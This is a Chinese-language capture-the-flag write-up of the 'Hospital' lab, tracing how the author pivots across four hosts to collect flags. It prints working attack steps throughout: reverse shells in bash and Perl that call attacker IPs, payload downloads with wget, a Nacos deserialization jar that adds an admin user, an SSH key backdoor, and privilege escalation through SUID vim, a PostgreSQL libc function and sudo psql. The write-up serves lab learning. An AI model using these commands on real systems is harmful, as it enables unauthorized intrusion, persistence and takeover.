Hospital


https://fushuling.com/index.php/2024/01/06/%e6%98%a5%e7%a7%8b%e4%ba%91%e5%a2%83-hospital/

春秋云境-Hospital – S1mh0’s Blog

春秋云镜-Hospital wp

Hospital

flag01

39.98.114.244

Springboot之actuator配置不当的漏洞利用

┌──(kali㉿kali)-[~/桌面/tools/tools/fscan_all_version]
└─$ ./fscan -h 39.98.114.244

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
39.98.114.244:8080 open
Open result.txt error, open result.txt: permission denied
39.98.114.244:22 open
Open result.txt error, open result.txt: permission denied
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://39.98.114.244:8080 code:302 len:0      title:None 跳转url: http://39.98.114.244:8080/login;jsessionid=77500958942AB18B45275A668911F721
Open result.txt error, open result.txt: permission denied
[*] WebTitle http://39.98.114.244:8080/login;jsessionid=77500958942AB18B45275A668911F721 code:200 len:2005   title:医疗管理后台
Open result.txt error, open result.txt: permission denied
[+] PocScan http://39.98.114.244:8080 poc-yaml-spring-actuator-heapdump-file 
(Spring Actuator 信息泄露漏洞(/heapdump 端点可下载 JVM 堆内存文件,可能包含敏感信息如账号密码、Session 等)。)
Open result.txt error, open result.txt: permission denied                                                                                                               
已完成 1/2 [-] ssh 39.98.114.244:22 root root@123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 
已完成 1/2 [-] ssh 39.98.114.244:22 root a123456. ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 
已完成 1/2 [-] ssh 39.98.114.244:22 root a123123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 
已完成 1/2 [-] ssh 39.98.114.244:22 admin root ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 
已完成 1/2 [-] ssh 39.98.114.244:22 admin admin#123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 
已完成 1/2 [-] ssh 39.98.114.244:22 admin 123456~a ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 
已完成 2/2
[*] 扫描结束,耗时: 7m4.627200175s

访问http://39.98.114.244:8080/actuator/heapdump,下载heapdump

弱密码admin/admin123(但没有用)

whwlsfb/JDumpSpider: HeapDump敏感信息提取工具

java -jar .\JDumpSpider-1.1-SNAPSHOT-full.jar .\heapdump

拿到keyGAYysgMQhG7/CzIJlVpR2g==(或者想翻shiro key,直接搜g==结尾的字符串)

java -jar shiro_attack-4.7.0-SNAPSHOT-all.jar

http://39.98.114.244:8080

bash -i >& /dev/tcp/139.129.35.68/7777 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMzkuMTI5LjM1LjY4Lzc3NzcgMD4mMQ==

bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMzkuMTI5LjM1LjY4Lzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}'

python3 -m http.server 80

wget http://139.129.35.68/linux_x64_agent

./linux_x64_admin -c 39.98.114.244:7879 -s 123
./linux_x64_agent -l 7879 -s 123

vim.basic /root/flag/flag01.txt
(通过 vim 的基础版本打开 /root/flag/flag01.txt 文件)

/usr/bin/vim.basic -c ':python3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec bash -p")'
  • -c ':python3 ...'-c 表示让 Vim 启动后直接执行后面的命令;python3 是 Vim 中调用 Python3 解释器的命令。
  • import os; os.execl(...):通过 Python 的 os.execl 函数替换当前进程(Vim 进程)为 /bin/sh,相当于直接启动一个 shell。
  • "sh":为新进程指定名称(通常与程序名一致)。
  • -psh 的参数,表示 “特权模式”(preserve privileges),避免权限降级。
  • -csh 的参数,用于执行后续字符串中的命令(即 "reset; exec bash -p")。
  • "reset; exec bash -p"reset 清理终端显示;exec bash -p 替换当前 shell 为 bash,-p 确保保留特权模式(因 Vim 有 SUID 权限,此时 bash 会继承 root 权限)。
写公钥留后门了

#自己的机器上
ssh-keygen -t rsa -b 4096
cat ~/.ssh/id_rsa.pub
#弹的shell
echo "~/.ssh/id_rsa.pub的内容" > /root/.ssh/authorized_keyschmod 600 /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

#本地通过私钥登录目标主机
ssh -i ~/.ssh/id_rsa root@39.99.140.174
  • 目标主机的 /root/.ssh 目录必须是 700 权限(仅所有者可读写执行)
  • authorized_keys 必须是 600 权限(仅所有者可读写)

flag02

upload /home/kali/桌面/tools/tools/fscan_all_version/fscan /tmp/1/fscan 

ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.30.12.5  netmask 255.255.0.0  broadcast 172.30.255.255

./fscan -h 172.30.12.0/24

download /tmp/1/result.txt /home/kali/result.txt
┌──(kali㉿kali)-[~]
└─$ cat result.txt                                                                                                              
172.30.12.6:8848 open
172.30.12.6:445 open
172.30.12.6:139 open
172.30.12.236:8080 open
172.30.12.6:135 open
172.30.12.5:8080 open
172.30.12.236:22 open
172.30.12.5:22 open
172.30.12.236:8009 open
[*] NetBios 172.30.12.6     WORKGROUP\SERVER02            
[*] NetInfo 
[*]172.30.12.6
   [->]Server02
   [->]172.30.12.6
[*] WebTitle http://172.30.12.5:8080   code:302 len:0      title:None 跳转url: http://172.30.12.5:8080/login;jsessionid=D6B3A2787153F87C17FA0FD90F59375B
[*] WebTitle http://172.30.12.236:8080 code:200 len:3964   title:医院后台管理平台
[*] WebTitle http://172.30.12.5:8080/login;jsessionid=D6B3A2787153F87C17FA0FD90F59375B code:200 len:2005   title:医疗管理后台
[*] WebTitle http://172.30.12.6:8848   code:404 len:431    title:HTTP Status 404 – Not Found
[+] PocScan http://172.30.12.6:8848 poc-yaml-alibaba-nacos 
[+] PocScan http://172.30.12.6:8848 poc-yaml-alibaba-nacos-v1-auth-bypass 
[+] PocScan http://172.30.12.5:8080 poc-yaml-spring-actuator-heapdump-file 
目标 IP 开放端口 服务 / 应用信息 漏洞提示
172.30.12.6 8848 HTTP 服务(404 Not Found) 存在 Alibaba Nacos 相关漏洞(未授权访问等) poc-yaml-alibaba-nacos poc-yaml-alibaba-nacos-v1-auth-bypass
445、139 NetBIOS 服务 主机名:SERVER02 工作组:WORKGROUP
135 开放端口(可能为 RPC 服务) -
172.30.12.236 8080 医院后台管理平台(HTTP 200) -
22 SSH 服务 -
8009 开放端口(可能为 AJP 协议,常用于 Tomcat) -
172.30.12.5 8080 医疗管理后台(HTTP 302 跳转至登录页) 存在 Spring Actuator 堆内存泄露漏洞 poc-yaml-spring-actuator-heapdump-file
22 SSH 服务 -

Alibaba Nacos权限认证绕过漏洞复现_nacos未授权访问漏洞修复-CSDN博客

./windows_x64_admin.exe -c 39.98.114.244:7876 -s 123
./linux_x64_agent -l 7876 -s 123

172.30.12.6:8848/nacos

弱口令进入后台 nacos:nacos,获取到的配置文件内容如下:

server:
  port: 8080
  servlet:
    context-path: /hello

spring:
  application:
    name: db-config
  cloud:
    nacos:
      discovery:
        server-addr: 127.0.0.1:8848
      config:
        server-addr: 127.0.0.1:8848
        file-extension: yaml
        namespace: dev
        group: DEFAULT_GROUP
        data-id: db-config.yaml
  datasource:
    mysql:
      url: jdbc:mysql://localhost:3306/test?useSSL=false&serverTimezone=UTC&allowPublicKeyRetrieval=true
      username: root
      password: P@ssWord!!!
  redis:
    host: localhost
    port: 6379

management:
  endpoints:
    web:
      exposure:
        include: '*'

Release NacosExploitGUI_v4.0 · charonlight/NacosExploitGUI

java -jar NacosExploitGUI_v4.0.jar

http://172.30.12.6:8848/nacos

原来的是弹计算器的

Runtime.getRuntime().exec("net user qaq qaq1234! /add");
Runtime.getRuntime().exec("net localgroup administrators qaq /add");

然后改完后再保存再打为jar包

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
upload /home/kali/桌面/tools/ma/yaml-payload.jar /tmp/1/yaml-payload.jar
http://172.30.12.6:8848/nacos
http://172.30.12.5:54321/yaml-payload.jar

db-config

进入交互式shell

python3 -c 'import pty; pty.spawn("/bin/bash")'
  • python3 -c:通过 Python3 执行后续字符串中的代码(-c 表示执行命令行字符串)
  • import pty:导入 Python 的 pty 模块(伪终端处理模块,用于创建模拟终端环境)
  • pty.spawn("/bin/bash"):调用 pty 模块的 spawn 函数,启动一个 /bin/bash 进程,并将其与伪终端关联

python3 -m http.server 54320

proxychains rdesktop 172.30.12.6 -u qaqwww -p 'qaq@1234'

proxychains4 xfreerdp /u:qaqwww /p:'qaq@1234' /v:172.30.12.6(我试试不行,让学长给我创了个号)

proxychains4 crackmapexec smb 172.30.12.6 -u 'qaqwww' -p 'qaq@1234'

qaqwww/qaq@1234

这里注意密码要符合标准,不然可能会出现些情况。


flag03

发现web2只有一个网口

用burp内置浏览器打开172.30.12.236:8080

amaz1ngday/fastjson-exp: fastjson利用,支持tomcat、spring回显,哥斯拉内存马;回显利用链为dhcp、ibatis、c3p0。

  • 目标应用开启了 session 持久化(可能是把 session 存数据库或者文件里),这样 session 会跨请求保持状态。

  • 你在 session 里存入的数据,因为不能被反序列化,所以后续请求时就读取不到原来的对象,导致 session 损坏或者无法使用。

  • 换句话说,你的 shell 尝试依赖 session 来存储信息,但是 session 已经坏掉了,所以后续的 shell 操作无法进行。

  • 这就是上一条的结果:shell 初始化失败,无法继续操作。

  • 意思是,不要把数据存在 session 中,而是直接存到 application 级别(全局对象),这样就不会被序列化和反序列化影响了。

尝试写入公钥,首先本地用ssh-keygen生成公钥和私钥,将公钥后的用户名@主机名部分删掉,接着尝试在哥斯拉使用echo直接将公钥写到authorized_keys,但是应该是由于长度过长导致命令执行失败,所以最后还是通过在web1上传公钥并开启http服务,在哥斯拉(fastjson命令执行getshell,这次使用插件的inject直接注入哥斯拉内存马)通过wget下载,之后写入到authorized_keys

我是被人捞的
二级代理是得主动连。在stowawy上

listen
use 0
listen
1
44446

在目标机上./linux_x64_agent -c 172.30.12.5:44446 -s 123 --reconnect 8即可

然后

back
use 1

就能到web3了


flag04

发现是双网卡

upload /home/kali/桌面/tools/tools/fscan_all_version/fscan /1/fscan 

inet 172.30.54.179  netmask 255.255.255.0  broadcast 172.30.54.255

./fscan -h 172.30.54.1/24

download /1/result.txt /home/kali/result.txt

发现172.30.54.12,上面有grafana服务

cat result.txt
172.30.54.12:3000 open
172.30.54.12:22 open
172.30.54.179:22 open
172.30.54.179:8009 open
172.30.54.179:8080 open
172.30.54.12:5432 open
[*] WebTitle http://172.30.54.12:3000  code:302 len:29     title:None 跳转url: http://172.30.54.12:3000/login
[*] WebTitle http://172.30.54.12:3000/login code:200 len:27909  title:Grafana
[*] WebTitle http://172.30.54.179:8080 code:200 len:3964   title:医院后台管理平台

Release v1.5 · A-D-Team/grafanaExp

./linux_amd64_grafanaExp exp -u http://172.30.54.12:3000

但需要v1.1的版本才能扫到postgres数据库账密,github上已经没有该版本了。Postgres@123(应该爆出来的密码)

./linux_x64_admin -c 39.98.114.244:7876 -s 123
./linux_x64_agent -l 7876 -s 123

建立多重代理:还是一样listen1 11121

upload /home/kali/桌面/tools/tools/Stotaway-bin/linux_x64_agent /1/linux_x64_agent

#把受控端传到web3上,发起对web1的连接
./linux_x64_agent -c 172.30.12.5:11121 -s 123 --reconnect 8

之后再开个socks5

把proxychains4.conf里的也换了

vim /etc/proxychains4.conf

psql

  • PostgreSQL 的命令行客户端。

-h 172.30.54.12

  • 指定 PostgreSQL 服务器的 IP 地址。

-U postgres

  • 指定用户名,这里是 postgres

-W

  • 强制提示输入密码。、

ALTER USER root

  • 指定要修改的数据库用户是 root

WITH PASSWORD '123456'

  • 将该用户的密码修改为 123456
proxychains4 -q psql -h 172.30.54.12 -U postgres -W


Postgres@123(应该爆出来的密码)

ALTER USER root WITH PASSWORD '123456';

select system('whoami');

PostgreSQL <= 8.1 可以通过调用系统的动态链接库 libc.so.6 来实现命令执行

CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT

OK

CREATE OR REPLACE FUNCTION system(cstring) RETURNS integer

  • 创建一个叫 system 的函数,接收一个 cstring(C 字符串)类型参数,返回一个整数。
  • 返回值是 system() 的返回值(通常 0 表示成功,非 0 表示错误)。

AS '/lib/x86_64-linux-gnu/libc.so.6', 'system'

  • 告诉 PostgreSQL 去调用 libc 动态库里的 system 函数。
  • 相当于把系统调用暴露到数据库里。

LANGUAGE 'c'

  • 指定这是一个 C 语言函数,而不是 SQL 或 PL/pgSQL。

STRICT

  • 如果传入参数是 NULL,函数不会执行,直接返回 NULL。

创建函数成功后,执行命令时当返回值为 0 表示执行成功,其它值则是执行失败。我们使用 perl 反弹 shell,注意在 Web03 机器上监听端口

select system('perl -e \'use Socket;$i="172.30.54.179";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'');

SQL 部分

SELECT system('perl -e \' ... \';');
  • system() 是你之前创建的 C 函数,它会调用操作系统命令。
  • 参数是一个复杂的 Perl 单行脚本

Perl 脚本

use Socket;
$i = "172.30.54.179";   # 攻击者 IP
$p = 1234;               # 攻击者监听端口
socket(S, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
if (connect(S, sockaddr_in($p, inet_aton($i)))) {
    open(STDIN, ">&S");
    open(STDOUT, ">&S");
    open(STDERR, ">&S");
    exec("/bin/sh -i");
};
  1. use Socket;
    • 加载 Perl 套接字库。
  2. socket(S, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
    • 创建一个 TCP 套接字。
  3. connect(S, sockaddr_in($p, inet_aton($i)))
    • 尝试连接到攻击者机器的 IP:PORT。
  4. open(STDIN, ">&S"); ...
    • 把标准输入/输出/错误重定向到这个 TCP 连接上。
  5. exec("/bin/sh -i");
    • 启动交互式 shell,让攻击者能远程执行命令。

在web3上nc -lvnp 1234

执行后成功弹回shell

先获取一个交互式 shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

sudo -l发现可以psql提权

执行

sudo /usr/local/postgresql/bin/psql(提权)
password:123456 # 前面已经修改为123456

注意利用 psql 需要为绝对路径,否则需要 Linux 用户 postgres 的密码,其次需要 PostgreSQL 数据库中 root 用户的密码,不过前面我们修改过了。root用户的密码为123456

psql | GTFOBins

root=# \?
Input/Output
!/bin/bash
root@web04:/usr/local/pgsql/data# whoami
root
\?
  • 这是 psql 的内置帮助命令,用来列出所有 psql 的 meta 命令(\ 开头的那些)。
!/bin/bash

这是 psql 的 外壳逃逸功能。

在 psql 中输入 ! 后跟命令,会直接调用系统 shell。

你执行的是 !/bin/bash,所以直接进入了服务器的 bash shell。

进入后就ok了

最后cat /root/flag/flag04.txt即可


文章作者: q1n9
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1n9 !
  目录